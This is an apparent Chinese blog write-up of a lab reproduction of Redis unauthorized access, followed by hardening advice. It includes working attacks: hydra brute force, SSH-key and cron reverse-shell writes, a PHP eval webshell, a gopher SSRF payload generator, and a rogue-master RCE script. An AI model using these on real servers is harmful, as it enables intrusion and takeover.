redis未授权访问漏洞

Redis安装

http://download.redis.io/releases选择一个版本,建议4.0.8

1
2
3
4
5
6
7
8
9
cd /tmp
wget http://download.redis.io/releases/redis-7.2.4.tar.gz
tar -zvxf redis-7.2.4.tar.gz
mv /tmp/redis-7.2.4 /usr/local/redis
cd /usr/local/redis
make
make PREFIX=/usr/local/redis install

./bin/redis-server& ./redis.conf

Redis未授权访问 漏洞复现

一、漏洞描述

漏洞成因:

1.Redis 绑定在默认的 6379 端,且没有配置访问控制策略,直接暴露在公网。攻击者可以通过扫描获 取 Redis 访问端口,从而攻击者未经授权也可以访问 Redis。

2.未设置密码或者设置弱密码,允许远程登录访问 Redis 服务。攻击者可以直接或者通过密码爆破连 接到 Redis 并进行恶意操作。

  1. Redis 使用 root 权限启动。使得攻击者在成功入侵 Redis 服务后,利用 Redis 对服务器开展进一步 的攻击。

二、漏洞影响版本

Redis 2.x–5.x

三、漏洞危害

(1) 未授权的访问可能导致敏感信息泄露,攻击者也可以恶意执行命令来清空所有数据和破坏服务

(2) 如果 Redis 以 root 权限启动,攻击者可以在/root/.ssh 写入 SSH 公钥文件,直接通过 SSH 登录 目标服务器

(3) 攻击者可通过 Redis 数据备份功写入可以指定目录的特性,写入后面程序,结合计划任务或者 web 服务 getshell,执行恶意代码和攻击。

当redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。
攻击机:kali 192.168.198.134
目标靶机:centos 192.168.198.144

1.端口扫描

首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。
使用全端口扫描,探测存在的服务:

1
nmap -p- -sV 192.168.198.144
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/password]                                                                                                                                                               
└─$ nmap -p- -sV 192.168.198.144
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-10 04:18 EDT
Nmap scan report for 192.168.198.144
Host is up (0.00066s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
6379/tcp open redis Redis key-value store 2.8.17
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.72 seconds

image-20240510162400812

2.密码爆破

使用hydra进行密码爆破

1
hydra  192.168.198.144 redis -P /home/kali/password/top1000.txt -e ns  -f -o redis.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/password]                                                                                                                                                               
└─$ hydra 192.168.198.144 redis -P /home/kali/password/top1000.txt -e ns -f -o redis.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-10 04:36:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1001 login tries (l:1/p:1001), ~63 tries per task
[DATA] attacking redis://192.168.198.144:6379/
[6379][redis] host: 192.168.198.144 password: foobared
[STATUS] attack finished for 192.168.198.144 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-10 04:36:23

┌──(kali㉿kali)-[~/password]
└─$ cat redis.txt

# Hydra v9.3 run at 2024-05-10 04:36:21 on 192.168.198.144 redis (hydra -P /home/kali/password/top1000.txt -e ns -f -o redis.txt 192.168.198.144 redis)
[6379][redis] host: 192.168.198.144 password: foobared

image-20240510163642639

得到密码foobared

3.远程连接redis

使用密码连接

1
redis-cli -h 192.168.198.144 -p 6379 -a foobared

连接成功

1
2
3
┌──(kali㉿kali)-[~/password]                                                                                                                                                               
└─$ redis-cli -h 192.168.198.144 -p 6379 -a foobared
192.168.198.144:6379>

image-20240510170005022

4.漏洞利用

(1)写 ssh-keygen 公钥登录服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

ssh-keygen -t rsa
# 接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端Redis的缓冲里:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.198.144 -p 6379 -a foobared -x set pub
# 使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上
./redis-cli -h 192.168.198.144 -p 6379 -a foobared
# 设置工作目录为 /root/.ssh
config set dir /root/.ssh
# 创建文件 authorized_keys
config set dbfilename "authorized_keys"
# 保存信息入文件
save

ssh -i /root/.ssh/id_rsa root@192.168.198.144

image-20240511011752561

image-20240511015012934

(2)利用 Redis 写入计划任务

该攻击利用数据库的特性,通过以下步骤实现反弹 Shell:

  1. 数据插入: 将计划任务的内容作为数据值(value),并使用任意键值(key)将其插入数据库中。
  2. 路径修改: 修改数据库的默认路径,使其指向目标主机上的计划任务路径。
  3. 数据写入文件: 将数据库中的数据写入目标主机上的计划任务文件。

通过以上步骤,攻击者可以在目标主机上成功写入一个计划任务,从而实现反弹 Shell。

在攻击机kali上开启监听:

1
nc -lvp 51888

然后连接服务端的Redis,写入反弹shell的计划任务:

1
2
3
4
5
./redis-cli -h 192.168.198.144 -p 6379 -a foobared
set cron "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.198.144/51888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

image-20240511032133259

经过一分钟以后,在攻击机的nc中成功反弹shell回来。

(3)网站绝对路径写 webshell

对目标机器进行信息收集,看看端口是否开放了哪些

1
2
nmap -sV -p- -T4 192.168.198.144
dirb http://192.168.198.144:80

image-20240511040341109

写入webshell

1
2
3
4
5
./redis-cli -h 192.168.198.144 -p 6379 -a foobared//连接redis
config set dir /var/www/html/
set xxx "<?php eval($_GET['cmd']);?>"
config set dbfilename shell.php
save

image-20240511040545099

蚁剑成功连接

image-20240511040152924

(4)利用Redis主从复制GetShell

Redis服务器存在一些大型网站采用的漏洞,例如如果使用了一台Redis服务器,且该服务器存在漏洞,攻击者可以远程执行命令导致数据泄露或损坏。图中还提到,Redis服务器集群可以很好地解决该问题,例如主从服务器复制,即使主服务器被攻击,也可以从从服务器进行数据管理和恢复。

Redis主从复制(Redis Replication)是一种数据复制技术,通过在多台服务器实例之间自动进行数据同步,来实现数据冗余备份、故障恢复以及负载均衡等功能。其基本原理是使用一个主(master)服务器实例和多个从(slave)服务器实例,实现数据的单向复制。主服务器负责数据的写入和读取操作,而从服务器则只负责通过复制主服务器中的数据来实现数据备份,从而达到数据冗余和异地容灾的目的。一旦主服务器出现故障,可以手动或自动进行主从服务器切换,将某一从服务器升级为新的主服务器,从而确保数据服务的可用性。

因为漏洞存在于4.x、5.x版本中,Redis提供了主从模式。
故靶机更换为 centos 192.168.198.147 redis-4.0.8

1
./redis-cli -h 192.168.198.147 -p 6379 -a foobared
1
2
3
python3 redis-rce.py -r 192.168.198.147 -L 192.168.198.134 -f exp.so -a foobared

# python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password

选择r来获得一个反弹shell

image-20240511172423214

成功反弹shell,反弹shell很容易导致Redis暴毙

image-20240511173054864

(5)结合 SSRF 进行利用

SSRF 攻击的目标是从外网无法访问的内部系统,这里通过 SSRF 使用 dict 协议访问本地 Redis

构造 Redis 命令写入 webshell

1
2
3
4
5
6
flushall
set 1 '<?php eval($_POST\[\\"f4ke\\"\]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit

根据 RESP 协议使用python 脚本redisSsrf.py,将上述命令转换为 gopher payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\\n\\n<?php eval($_POST\[\\"f4ke\\"\]);?>\\n\\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\\r\\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print("http://192.168.198.147/ssrf.php?url="+urllib.parse.quote(payload))

生成 payload

1
http://192.168.198.147/ssrf.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

使用curl 访问构造好的 url , 成功执行 Redis 命令写入 webshell

image-20240512212439121

使用蚁剑尝试连接,连接成功

image-20240512212826275

为了修复Redis未授权访问漏洞,可以采取以下措施:

  1. 设置密码认证:在Redis配置文件中启用requirepass选项,并设置一个强密码。
  2. 限制访问:修改bind配置,只允许信任的IP地址访问Redis服务。
  3. 使用安全通信:通过SSL/TLS加密Redis客户端和服务器之间的通信。
  4. 监控和日志记录:开启Redis的日志记录功能,监控可疑的访问和操作。
  5. 及时更新:保持Redis版本更新,以修复已知的安全漏洞。

Redis 安全防护策略

1.配置访问控制策略

禁止监听在公网地址

修改 Redis 监听端口,在配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的bind 0.0.0.0改为bind 127.0.0.1或者内网 IP网段,重启 Redis以使配置生效。

1
2
# bind 192.168.1.100 10.0.0.1
bind 127.0.0.1 ::1

使用防火墙

在服务器上配置防火墙,仅允许特定规则的Redis连接请求通过。阻止其他不必要的连接请求,降低安全风险。

2.修改默认配置

更改默认端口

Redis 默认监听的端口为 6379,可以将配置文件的port项修改为其他非常用端口以隐藏服务

开启 Redis 安全认证并设置复杂的密码

Redis默认配置是无密码的,故容易导致Redis的未授权访问。在 redis.conf 配置文件中,修改 requirepass 选项开启密码认证并设置强密码。

开启保护模式

Redis在3.2版本新增了安全配置项protected-mode,开启后要求需要配置bind项并设置访问密码,关闭后允许远程连接。在 redis.conf 配置文件中,修改 protected-mode yes 选项开启保护模式,只允许有授权的主机远程访问。

3.禁止使用 Root 权限启动

创建单独的用户用于启动redis

使用root权限启动redis有较多风险。可以创建的一个Redis用户只用于运行 Redis 服务,而无法登录。同时redis用户没有其他目录与文件的访问权限,在未授权访问发生时,攻击者也难以通过Redis入侵服务器上的其他服务。

1
2
useradd -s /sbin/nolog -M redis 
sudo -u redis redis-server /<filepath>/redis.conf

设置文件的访问权限

Redis 密码可明文存储在配置文件中,因此需要禁止非相关用对于配置文件的访问,设置 Redis 配置文件权限为 600,只有文件所有者拥有读和写权限:

1
chmod 600 /<filepath>/redis.conf

4.监控和日志分析

定期检查Redis的访问日志,分析异常行为,及时发现和响应安全威胁。在配置文件logfile项指定日志文件保存位置:

1
logfile "/var/log/redis.log"

5.及时更新版本

检查Redis版本,及时应用安全补丁和更新,以修复已知的安全漏洞。

通过上述措施,可以有效地减少Redis未授权访问漏洞的风险,保护服务器和数据的安全。

防御策略验证实验

以下通过脚本(具体代码参见附录)对redis安全性进行检查:

运行脚本,可以发现,未经安全配置的redis无法通过大多数安全检查

image-20240517233702181

配置防御策略

1.创建单独用户用于启动redis

1
2
3
4
# 创建的 Redis 用户只能用于运行 Redis 服务,而无法登录
useradd -s /sbin/nologin -m redis
# 以redis用户启动redis
sudo -u redis nohup ./bin/redis-server ./redis.conf &

2.修改配置文件,设置强密码,开启protected-mode,禁止或者重命名一些高危命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 编辑redis配置文件
# 设置强密码
requirepass strong_password
# 开启保护模式
protected-mode yes
# 1. 禁用高危命令:
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
# 2. 修改高危命令的名称:
rename-command FLUSHALL "shuaxin"
rename-command CONFIG "peizhi"
rename-command EVAL "zhixing"

3.配置访问控制,仅允许本地连接

1
2
3
4
# 允许局域网连接
bind 192.168.168.*
# 仅允许本地连接
bind 127.0.0.1 ::1

安全性验证

使用脚本进行安全检查:

由于使用了强密码,且配置了访问控制,故脚本连接时无法连接到redis。

1
python3 check_redis_security.py --host 192.168.198.147 --port 6379   

image-20240517154647351

为了模拟密码泄露的情况,这里允许远程连接,password参数输入密码继续进行测试

1
python3 check_redis_security.py --host 192.168.198.147 --port 6379  --password strong@pwd

Inkedimage-20240517163331848

成功通过所有安全检查

Redis安全安装与配置

根据Redis安全防护策略,编写自动化shell脚本安装Redis(具体代码参见附录)

优点:

1.设置密码,并检查密码强度

2.默认开启访问控制策略,仅允许本地连接

3.systemctl配置管理,便于维护与检查

4.快速的自动化安装

一键安装

image-20240518011538733

image-20240518011655104

通过安全检测(由于访问控制策略,攻击主机无法连接)

image-20240518012412512

image-20240518012247382

附录

安全性检测脚本

check_redis_security.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
import redis
import argparse
import subprocess

exp_file = "/home/kali/workfeild/exp.so" # 恶意模块路径
lhost = "192.168.198.134" # 恶意服务器地址
password_file = "/home/kali/password/top1000.txt" # 密码字典文件路径


def check_redis_connection(host, port, password):
"""
尝试连接到Redis服务器,如果连接成功返回True,否则返回False。
"""
try:
client = redis.StrictRedis(
host=host, port=port, password=password, decode_responses=True
)
client.ping()
return True
except redis.exceptions.ConnectionError:
return False
except redis.exceptions.AuthenticationError:
print("[ERROR] Redis服务器需要身份验证")
return False


def extract_passwords(filename):
"""
从 Hydra 输出文件中提取密码。
"""

passwords = []
with open(filename, "r") as f:
for line in f:
if "password:" in line:
password = line.split("password:")[1].strip()
passwords.append(password)
return passwords


def brute_force_redis_password(host, password_file):
"""
使用Hydra进行Redis密码爆破。
"""
if password_file is None:
print("[ERROR] 未提供Hydra密码文件路径")
return

command = [
"hydra",
host,
"redis",
"-P",
password_file,
"-e",
"ns",
"-f",
"-o",
"redis.txt",
]
try:
subprocess.run(command, check=True)
with open("redis.txt", "r") as f:
lines = f.readlines()
if lines:
pass
# print("[WARNING] Hydra密码破解成功!发现弱密码,请加强密码安全!")
else:
print("[INFO] Hydra密码破解未找到有效密码")
except subprocess.CalledProcessError as e:
print(f"[ERROR] 运行Hydra时出错: {e}")


def test_redis_rce(rhost, lhost, exp_file, auth):
"""
测试Redis是否易受RCE攻击。
"""
command = f"python3 /home/kali/workfeild/rce.py -r {rhost} -L {lhost} -f {exp_file} -a {auth}"
process = subprocess.run(command, shell=True, capture_output=True)

if "Exploit Success!" in process.stdout.decode():
print(f"[INFO] Redis RCE 攻击成功: {command}")
return True
else:
print(f"[INFO] Redis RCE攻击失败: {command}")
return False


def write_cron_getshell(host="localhost", port=6379, password=None):
"""
利用 Redis 写入计划任务
"""
try:
# 使用 StrictRedis 连接
client = redis.StrictRedis(
host=host, port=port, password=password, decode_responses=True
)

# 设置 cron 键
result = client.execute_command(
"FLUSHALL",
)
result = client.set("cron", "\n\n* * * * 1 date")

# 设置配置文件目录
result = client.config_set("dir", "/var/spool/cron")

# 设置数据库文件名
result = client.config_set("dbfilename", "root")

# 保存配置
result = client.save()

# 判断命令是否成功执行并输出提示
if result == True:
print("[INFO] Redis 写入计划任务命令已成功执行!")
return True
else:
print("[INFO] Redis 写入计划任务命令执行失败!")
return False

except Exception as e:
print(f"Redis 配置失败:{e}")
return False


def write_sshkeygen(host="localhost", port=6379, password=None):
"""
利用 Redis 写入ssh-keygen
"""
try:
# 使用 StrictRedis 连接
client = redis.StrictRedis(
host=host, port=port, password=password, decode_responses=True
)

# 设置 cron 键
result = client.execute_command(
"FLUSHALL",
)
result = client.set("cron", "\n\nid_rsa.pub\n\n")

# 设置配置文件目录
result = client.config_set("dir", "/root/.ssh")

# 设置数据库文件名
result = client.config_set("dbfilename", "test_authorized_keys")

# 保存配置
result = client.save()

# 判断命令是否成功执行并输出提示
if result == True:
print("[INFO] Redis 成功写入ssh公钥!")
return True
else:
print("[INFO] Redis 写入ssh公钥失败!")
return False

except Exception as e:
print(f"Redis 配置失败:{e}")
return False


def write_web_getshell(host="localhost", port=6379, password=None):
"""
利用 Redis 写入网站绝对路径
"""
try:
# 使用 StrictRedis 连接
client = redis.StrictRedis(
host=host, port=port, password=password, decode_responses=True
)

# 设置 cron 键
result = client.execute_command(
"FLUSHALL",
)
result = client.set("cron", "\n\nphp\n\n")

# 设置配置文件目录
result = client.config_set("dir", "/var/www/html/")

# 设置数据库文件名
result = client.config_set("dbfilename", "shell.php.test")

# 保存配置
result = client.save()

# 判断命令是否成功执行并输出提示
if result == True:
print("[INFO] Redis 网站目录写入php漏洞脚本成功!")
return True
else:
print("[INFO] Redis 网站目录写入php漏洞脚本失败!")
return False

except Exception as e:
print(f"Redis 配置失败:{e}")
return False


def check_redis_security(
host="localhost", port=6379, password=None, password_file=None
):
"""
检查Redis服务器的安全性。
"""
# 尝试连接到Redis服务器
passwordlist = ["password"]
if not check_redis_connection(host, port, password):
print("[INFO] 无法连接到Redis服务器,尝试使用Hydra进行暴力破解")
brute_force_redis_password(host, password_file)
passwordlist = extract_passwords("/home/kali/workfeild/redis.txt")
if passwordlist != []:
print("[INFO] Hydra密码爆破成功")
password = passwordlist[-1]
print(f"破解的密码: {password}")
else:
print("[INFO] Hydra密码爆破失败")
return

try:
# 检查是否设置了密码
if password is None and passwordlist == []:
print(
"[INFO] 设置了密码,尝试使用Hydra进行暴力破解失败,若需要进一步测试可手动输入密码"
)
return
elif password is None:
print("[FATAL] 未设置密码")
# 获取Redis信息
client = redis.StrictRedis(
host=host, port=port, password=password, decode_responses=True
)
# info = client.info()
# print("[INFO] 测试Redis服务器是否响应PING命令")
# if client.ping():
# print("[INFO] Redis服务器可以访问且响应PING命令")
print("[INFO] 测试Redis服务器是否可以写入ssh公钥")
if write_sshkeygen(host, port, password):
print("[FATAL] 通过Redis成功篡改ssh公钥")
else:
print("[DONE] 无法通过Redis篡改ssh公钥")
print("[INFO] 测试Redis服务器是否可以写入php漏洞脚本getshell")
if write_web_getshell(host, port, password):
print("[FATAL] 通过Redis写入php漏洞脚本getshell")
else:
print("[DONE] 无法通过Redis写入php漏洞脚本getshell")
print("[INFO] 测试Redis服务器是否可以写入cron漏洞脚本")
if write_cron_getshell(host, port, password):
print("[FATAL] 通过Redis服务器写入一个计划任务反弹shell")
else:
print("[DONE] 无法通过Redis服务器写入计划任务反弹shell")
print("[INFO] 测试Redis服务器是否可以利用Redis主从复制GetShell")
if test_redis_rce(host, lhost, exp_file, password):
print("[FATAL] 成功利用Redis主从复制GetShell")
else:
print("[DONE] 无法利用Redis主从复制GetShell")
# print("[INFO] 测试Redis服务器是否开启protected-mode")
# if client.config_get("protected-mode")[1] == "yes":
# print("[DONE] Redis服务器开启protected-mode")
# else:
# print("[FATAL] Redis服务器未开启protected-mode")

# print("[INFO] 测试Redis服务器是否绑定特定IP地址")
# if client.config_get("bind")[1] == "":
# print("[INFO] Redis服务器未绑定特定IP地址")
# else:
# print(f"[DONE] Redis服务器绑定IP地址:{client.config_get('bind')[1]}")

except redis.exceptions.ResponseError as e:
print(f"[ERROR] Redis响应错误: {e}")


if __name__ == "__main__":
parser = argparse.ArgumentParser(description="检查Redis的安全性")
parser.add_argument("--host", type=str, default="localhost", help="Redis服务器地址")
parser.add_argument("--port", type=int, default=6379, help="Redis服务器端口")
parser.add_argument("--password", type=str, help="Redis服务器密码")

args = parser.parse_args()

# 进行安全检查
check_redis_security(
host=args.host,
port=args.port,
password=args.password,
password_file=password_file,
)

rce.py

基于GitHub开源代码修改https://github.com/n0b0dyCN/redis-rogue-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/env python
# coding:utf-8
import socket
import os
import sys
import re
from time import sleep

CLRF = "\r\n"

def mk_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd


def mk_cmd(raw_cmd):
return mk_cmd_arr(raw_cmd.split(" "))


def din(sock, cnt):
msg = sock.recv(cnt)
return msg.decode()


def dout(sock, msg):
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)


def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1])


class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))

def send(self, msg):
dout(self._sock, msg)

def recv(self, cnt=65535):
return din(self._sock, cnt)

def do(self, cmd):
self.send(mk_cmd(cmd))
buf = self.recv()
return buf

def close(self):
self._sock.close()

def shell_cmd(self, cmd):
self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)]))
buf = self.recv()
return buf

def reverse_shell(self, addr, port):
self.send(mk_cmd("system.rev {} {}".format(addr, port)))


class RogueServer:
def __init__(self, lhost, lport, remote, file):
self._host = lhost
self._port = lport
self._remote = remote
self._file = file
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.settimeout(15)
self._sock.listen(10)

def handle(self, data):
resp = ""
phase = 0
if data.find("PING") > -1:
resp = "+PONG" + CLRF
phase = 1
elif data.find("REPLCONF") > -1:
resp = "+OK" + CLRF
phase = 2
elif data.find("AUTH") > -1:
resp = "+OK" + CLRF
phase = 3
elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 4
return resp, phase

def close(self):
self._sock.close()

def exp(self):
try:
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 4:
break
except Exception as e:
return False
except KeyboardInterrupt:
return False
return True


def cleanup(remote, expfile):
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd("rm ./{}".format(expfile))
remote.do("MODULE UNLOAD system")
remote.close()


def exploit_redis(rhost, rport, lhost, lport, exp_file, auth=None):
global payload
expfile = os.path.basename(exp_file)
payload = open(exp_file, "rb").read()
try:
remote = Remote(rhost, rport)
if auth:
check = remote.do("AUTH {}".format(auth))
if "invalid password" in check:
return False
else:
info = remote.do("INFO")
if "NOAUTH" in info:
return False

remote.do("SLAVEOF {} {}".format(lhost, lport))
remote.do("CONFIG SET dbfilename {}".format(expfile))
sleep(2)
rogue = RogueServer(lhost, lport, remote, expfile)
if rogue.exp():
sleep(2)
remote.do("MODULE LOAD ./{}".format(expfile))
remote.do("SLAVEOF NO ONE")
rogue.close()
cleanup(remote, expfile)
return True
else:
return False
except Exception:
return False

安装脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/bin/bash

# 检查是否为root用户
if [ "$(id -u)" -eq 0 ]; then
# 提示用户输入要创建的 Redis 用户名
read -rp "请输入要创建的 Redis 用户名:" redis_user

# 密码验证循环
while true; do
# 使用 getpass 获取密码,避免在命令行显示
read -s -p "请设置 Redis 密码认证(至少8个字符,包含字母、数字和特殊字符):" redis_password

# 密码强度验证
if [[ $(echo "$redis_password" | grep -E '.*[a-z].*' | wc -l) -eq 1 ]] && [[ $(echo "$redis_password" | grep -E '.*[A-Z].*' | wc -l) -eq 1 ]] && [[ $(echo "$redis_password" | grep -E '.*[0-9].*' | wc -l) -eq 1 ]] && [[ $(echo "$redis_password" | grep -E '.*[!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?].*' | wc -l) -eq 1 ]] && [[ ${#redis_password} -ge 8 ]]; then
break
else
echo "密码强度不足,请重新输入。"
fi
done

# 切换到临时目录
cd /tmp || exit

# 下载 Redis 压缩包
echo "正在下载 Redis 压缩包..."
wget -nv http://download.redis.io/releases/redis-7.2.4.tar.gz

# 解压 Redis 压缩包
echo "正在解压 Redis 压缩包..."
tar -zvxf redis-7.2.4.tar.gz

# 移动 Redis 文件夹到 /usr/local
echo "正在移动 Redis 文件夹到 /usr/local..."
mv /tmp/redis-7.2.4 /usr/local/redis

# 创建 Redis 用户
echo "正在创建 Redis 用户..."
useradd -s /sbin/nologin -M "$redis_user"

# 设置 Redis 文件夹权限,确保 Redis 用户对文件夹有读写权限
chown -R "$redis_user:$redis_user" /usr/local/redis

# 复制 Redis 配置文件并设置密码认证
echo "正在配置 Redis 密码认证..."
cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
sed -i "s/^# requirepass foobared$/requirepass $redis_password/" /usr/local/redis/redis.conf

# 使用 systemd 管理 Redis 服务
echo "正在配置 Redis 服务..."
# 创建 systemd 服务文件
cat > /etc/systemd/system/redis.service <<EOF
[Unit]
Description=Redis Server
After=network.target

[Service]
User=$redis_user
Group=$redis_user
WorkingDirectory=/usr/local/redis
ExecStart=/usr/local/redis/src/redis-server /usr/local/redis/redis.conf
ExecReload=/bin/kill -HUP ${MAINPID}
ExecStop=/bin/kill -TERM ${MAINPID}

[Install]
WantedBy=multi-user.target
EOF

# 启动 Redis 服务
echo "正在启动 Redis 服务..."
systemctl daemon-reload && systemctl enable redis && systemctl start redis

echo "Redis 服务已启动。"
else
echo "当前用户非root用户,无法创建 Redis 用户和启动服务。请使用root权限运行该脚本。"
fi

参考文章:

https://hellogithub.com/report/db-engines/

https://blog.csdn.net/zkaqlaoniao/article/details/134441323

https://blog.51cto.com/u_13540373/4861152

https://xie.infoq.cn/article/f3dc94425d5b586d34e1beae3


redis未授权访问漏洞
http://example.com/2024/05/21/redis未授权访问漏洞/
作者
Sanli Ma
发布于
2024年5月21日
许可协议